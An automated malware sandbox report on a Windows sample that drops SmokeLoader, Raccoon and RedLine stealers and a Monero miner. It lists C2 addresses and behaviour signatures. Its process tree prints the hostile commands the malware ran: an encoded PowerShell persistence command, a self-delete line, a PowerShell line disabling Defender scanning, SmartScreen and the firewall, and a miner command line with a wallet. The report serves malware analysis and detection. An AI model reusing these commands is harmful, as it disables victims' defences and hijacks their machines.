Analysis

  • max time kernel
    155s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    23/09/2021, 12:52

General

  • Target
    8ac6d2ddf561719d09b5d4a7df855f37.exe
  • Size 119KB
  • Sample210923-p34f6aecfl
  • SHA256 2fa3311a001cd0ded00b1bf34f8d64979cefb8903c69a3519da777bb43037539
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • smokeloader

Version
  • 2020

C2
  • http://hamilaharr6.top/

  • http://bartanayane7.top/

  • http://zesiahavie8.top/

  • http://hancarlenei9.top/

  • http://samillavakiv10.top/

  • http://feryleromand11.top/

  • http://ubrianella12.top/

  • http://hepryceeaaa13.top/

  • http://viahalexandy14.top/

  • http://wenataliana15.top/

rc4.i32
rc4.i32

Extracted

Family
  • raccoon

Botnet
  • 5ff0ccb2bc00dc52d1ad09949e9c7663bc9ca4d4

Attributes
  • url4cnc

    https://t.me/agrybirdsgamerept

rc4.plain
rc4.plain

Extracted

Family
  • redline

Botnet
  • anal2

C2
  • 45.67.231.145:10991

Signatures

  • Modifies security service 2 TTPs 1 IoCs
  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 2 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • suricata: ET MALWARE Win32.Raccoon Stealer CnC Activity (dependency download)

    suricata: ET MALWARE Win32.Raccoon Stealer CnC Activity (dependency download)

  • suricata: ET MALWARE Win32.Raccoon Stealer Data Exfil Attempt

    suricata: ET MALWARE Win32.Raccoon Stealer Data Exfil Attempt

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 13 IoCs
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Drops startup file 1 IoCs
  • Loads dropped DLL 6 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 4 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies registry class 2 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 11 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8ac6d2ddf561719d09b5d4a7df855f37.exe
    "C:\Users\Admin\AppData\Local\Temp\8ac6d2ddf561719d09b5d4a7df855f37.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:4060
    • C:\Users\Admin\AppData\Local\Temp\8ac6d2ddf561719d09b5d4a7df855f37.exe
      "C:\Users\Admin\AppData\Local\Temp\8ac6d2ddf561719d09b5d4a7df855f37.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:508
  • C:\Users\Admin\AppData\Local\Temp\C280.exe
    C:\Users\Admin\AppData\Local\Temp\C280.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3956
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.google.com
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3556
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.google.com
      2⤵
        PID:4504
      • C:\Users\Admin\AppData\Local\Temp\C280.exe
        C:\Users\Admin\AppData\Local\Temp\C280.exe
        2⤵
        • Executes dropped EXE
        PID:4312
      • C:\Users\Admin\AppData\Local\Temp\C280.exe
        C:\Users\Admin\AppData\Local\Temp\C280.exe
        2⤵
        • Executes dropped EXE
        PID:4320
    • C:\Users\Admin\AppData\Local\Temp\C6C6.exe
      C:\Users\Admin\AppData\Local\Temp\C6C6.exe
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:3560
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\C6C6.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3908
        • C:\Windows\SysWOW64\timeout.exe
          timeout /T 10 /NOBREAK
          3⤵
          • Delays execution with timeout.exe
          PID:4140
    • C:\Users\Admin\AppData\Local\Temp\CDAD.exe
      C:\Users\Admin\AppData\Local\Temp\CDAD.exe
      1⤵
      • Executes dropped EXE
      • Checks BIOS information in registry
      • Checks whether UAC is enabled
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:1924
    • C:\Users\Admin\AppData\Local\Temp\D1C5.exe
      C:\Users\Admin\AppData\Local\Temp\D1C5.exe
      1⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1220
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection -ComputerName twitter.com
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2700
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection -ComputerName bing.com
        2⤵
          PID:4172
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection -ComputerName google.com
          2⤵
            PID:4084
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwACAAOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBOAGEAbQBlACAAJwBEADEAQwA1ACcAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAAUwB0AHIAaQBuAGcAIAAtAFYAYQBsAHUAZQAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABEADEAQwA1AC4AYgBhAHQAJwAgAC0AUABhAHQAaAAgAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFIAdQBuACAALQBGAG8AcgBjAGUAOwAgAA==
            2⤵
            • Adds Run key to start application
            PID:4828
        • C:\Users\Admin\AppData\Local\Temp\DD7E.exe
          C:\Users\Admin\AppData\Local\Temp\DD7E.exe
          1⤵
          • Executes dropped EXE
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:3756
          • C:\Users\Admin\AppData\Local\Temp\msetup.exe
            "C:\Users\Admin\AppData\Local\Temp\msetup.exe"
            2⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:4576
            • C:\Users\Admin\AppData\Local\Temp\is-BD0PQ.tmp\msetup.tmp
              "C:\Users\Admin\AppData\Local\Temp\is-BD0PQ.tmp\msetup.tmp" /SL5="$201F0,3709094,831488,C:\Users\Admin\AppData\Local\Temp\msetup.exe"
              3⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:4704
              • C:\Users\Admin\AppData\Local\Temp\msetup.exe
                "C:\Users\Admin\AppData\Local\Temp\msetup.exe" /VERYSILENT
                4⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:4808
                • C:\Users\Admin\AppData\Local\Temp\is-Q8F26.tmp\msetup.tmp
                  "C:\Users\Admin\AppData\Local\Temp\is-Q8F26.tmp\msetup.tmp" /SL5="$301F0,3709094,831488,C:\Users\Admin\AppData\Local\Temp\msetup.exe" /VERYSILENT
                  5⤵
                  • Executes dropped EXE
                  • Suspicious use of FindShellTrayWindow
                  • Suspicious use of WriteProcessMemory
                  PID:4888
                  • C:\Users\Admin\AppData\Roaming\VideoPad Framework\vpadtool.exe
                    "C:\Users\Admin\AppData\Roaming\VideoPad Framework\vpadtool.exe"
                    6⤵
                    • Executes dropped EXE
                    • Drops startup file
                    • Loads dropped DLL
                    • Modifies system certificate store
                    PID:5024
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty –Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System –Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(exit)
                      7⤵
                      • Modifies security service
                      PID:3292
                    • C:\ProgramData\Systemd\Database.exe
                      -o pool.minexmr.com:4444 -u 42LC2r5anTLB9XpDxhtjLiTzjtWhw37qee9Qye71uDX2PtfgKCgk2SWPwe2MuzKsE2JDGzpro1v4gfr2bDRVokauL7KPiRr -p password1337 --coin=XMR --cpu-max-threads-hint=80
                      7⤵
                      • Executes dropped EXE
                      • Checks BIOS information in registry
                      • Checks whether UAC is enabled
                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                      PID:2640

        Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

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              Downloads

              memory/508-114-0x0000000000400000-0x0000000000409000-memory.dmp

              memory/1220-146-0x000000001BD20000-0x000000001BD22000-memory.dmp

              memory/1220-143-0x0000000000010000-0x0000000000011000-memory.dmp

              memory/1924-580-0x00000000772E0000-0x000000007746E000-memory.dmp

              memory/1924-604-0x0000000005BC0000-0x0000000005BC1000-memory.dmp

              memory/2640-869-0x00000000001D0000-0x00000000001F0000-memory.dmp

              memory/2640-870-0x0000000001840000-0x0000000001860000-memory.dmp

              memory/2640-868-0x00000000001B0000-0x00000000001D0000-memory.dmp

              memory/2640-867-0x00000000001B0000-0x00000000001D0000-memory.dmp

              memory/2700-159-0x0000025F53393000-0x0000025F53395000-memory.dmp

              memory/2700-173-0x0000025F53520000-0x0000025F53521000-memory.dmp

              memory/2700-157-0x0000025F53390000-0x0000025F53392000-memory.dmp

              memory/2700-160-0x0000025F3AE20000-0x0000025F3AE21000-memory.dmp

              memory/2700-187-0x0000025F53396000-0x0000025F53398000-memory.dmp

              memory/3016-117-0x0000000000FB0000-0x0000000000FC6000-memory.dmp

              memory/3292-861-0x00000173073D8000-0x00000173073D9000-memory.dmp

              memory/3292-816-0x00000173073D6000-0x00000173073D8000-memory.dmp

              memory/3292-815-0x00007FF749790000-0x00007FF749791000-memory.dmp

              memory/3292-726-0x00000173073D3000-0x00000173073D5000-memory.dmp

              memory/3292-725-0x00000173073D0000-0x00000173073D2000-memory.dmp

              memory/3556-180-0x0000000008EF0000-0x0000000008EF1000-memory.dmp

              memory/3556-183-0x00000000094C0000-0x00000000094C1000-memory.dmp

              memory/3556-148-0x0000000007790000-0x0000000007791000-memory.dmp

              memory/3556-145-0x0000000007B30000-0x0000000007B31000-memory.dmp

              memory/3556-181-0x0000000008E80000-0x0000000008E81000-memory.dmp

              memory/3556-182-0x0000000008F90000-0x0000000008F91000-memory.dmp

              memory/3556-142-0x0000000007AC0000-0x0000000007AC1000-memory.dmp

              memory/3556-150-0x0000000008450000-0x0000000008451000-memory.dmp

              memory/3556-158-0x00000000081A0000-0x00000000081A1000-memory.dmp

              memory/3556-200-0x000000000A040000-0x000000000A041000-memory.dmp

              memory/3556-141-0x00000000079E0000-0x00000000079E1000-memory.dmp

              memory/3556-130-0x0000000004680000-0x0000000004681000-memory.dmp

              memory/3556-137-0x0000000007040000-0x0000000007041000-memory.dmp

              memory/3556-133-0x0000000001032000-0x0000000001033000-memory.dmp

              memory/3556-131-0x0000000007160000-0x0000000007161000-memory.dmp

              memory/3556-132-0x0000000001030000-0x0000000001031000-memory.dmp

              memory/3556-202-0x0000000001033000-0x0000000001034000-memory.dmp

              memory/3560-205-0x0000000000400000-0x00000000004EC000-memory.dmp

              memory/3560-203-0x0000000001FE0000-0x0000000002070000-memory.dmp

              memory/3756-166-0x00000000053A0000-0x00000000053A1000-memory.dmp

              memory/3756-234-0x0000000006C60000-0x0000000006C61000-memory.dmp

              memory/3756-277-0x00000000079E0000-0x00000000079E1000-memory.dmp

              memory/3756-165-0x0000000005470000-0x0000000005471000-memory.dmp

              memory/3756-164-0x0000000005340000-0x0000000005341000-memory.dmp

              memory/3756-239-0x0000000006EB0000-0x0000000006EB1000-memory.dmp

              memory/3756-161-0x00000000000D0000-0x00000000000D1000-memory.dmp

              memory/3756-167-0x0000000005290000-0x0000000005896000-memory.dmp

              memory/3756-235-0x0000000007360000-0x0000000007361000-memory.dmp

              memory/3756-163-0x00000000058A0000-0x00000000058A1000-memory.dmp

              memory/3956-123-0x0000000005050000-0x0000000005051000-memory.dmp

              memory/3956-121-0x0000000000630000-0x0000000000631000-memory.dmp

              memory/3956-534-0x0000000005190000-0x0000000005191000-memory.dmp

              memory/3956-527-0x00000000051A0000-0x00000000051B9000-memory.dmp

              memory/3956-524-0x0000000004F20000-0x0000000004F59000-memory.dmp

              memory/4060-116-0x0000000000720000-0x0000000000729000-memory.dmp

              memory/4084-513-0x0000014D66DF0000-0x0000014D66DF2000-memory.dmp

              memory/4084-514-0x0000014D66DF3000-0x0000014D66DF5000-memory.dmp

              memory/4084-536-0x0000014D66DF6000-0x0000014D66DF8000-memory.dmp

              memory/4172-359-0x000001D1AC633000-0x000001D1AC635000-memory.dmp

              memory/4172-358-0x000001D1AC630000-0x000001D1AC632000-memory.dmp

              memory/4172-381-0x000001D1AC636000-0x000001D1AC638000-memory.dmp

              memory/4320-530-0x0000000000400000-0x0000000000422000-memory.dmp

              memory/4320-564-0x00000000056B0000-0x0000000005CB6000-memory.dmp

              memory/4504-414-0x0000000007090000-0x0000000007091000-memory.dmp

              memory/4504-422-0x0000000008000000-0x0000000008001000-memory.dmp

              memory/4504-480-0x0000000007093000-0x0000000007094000-memory.dmp

              memory/4504-446-0x00000000084D0000-0x00000000084D1000-memory.dmp

              memory/4504-418-0x0000000007092000-0x0000000007093000-memory.dmp

              memory/4576-416-0x0000000000400000-0x00000000004D8000-memory.dmp

              memory/4704-424-0x0000000000720000-0x00000000007CE000-memory.dmp

              memory/4808-442-0x0000000000400000-0x00000000004D8000-memory.dmp

              memory/4828-708-0x00000239CDC76000-0x00000239CDC78000-memory.dmp

              memory/4828-683-0x00000239CDC73000-0x00000239CDC75000-memory.dmp

              memory/4828-682-0x00000239CDC70000-0x00000239CDC72000-memory.dmp

              memory/4888-444-0x0000000000890000-0x0000000000891000-memory.dmp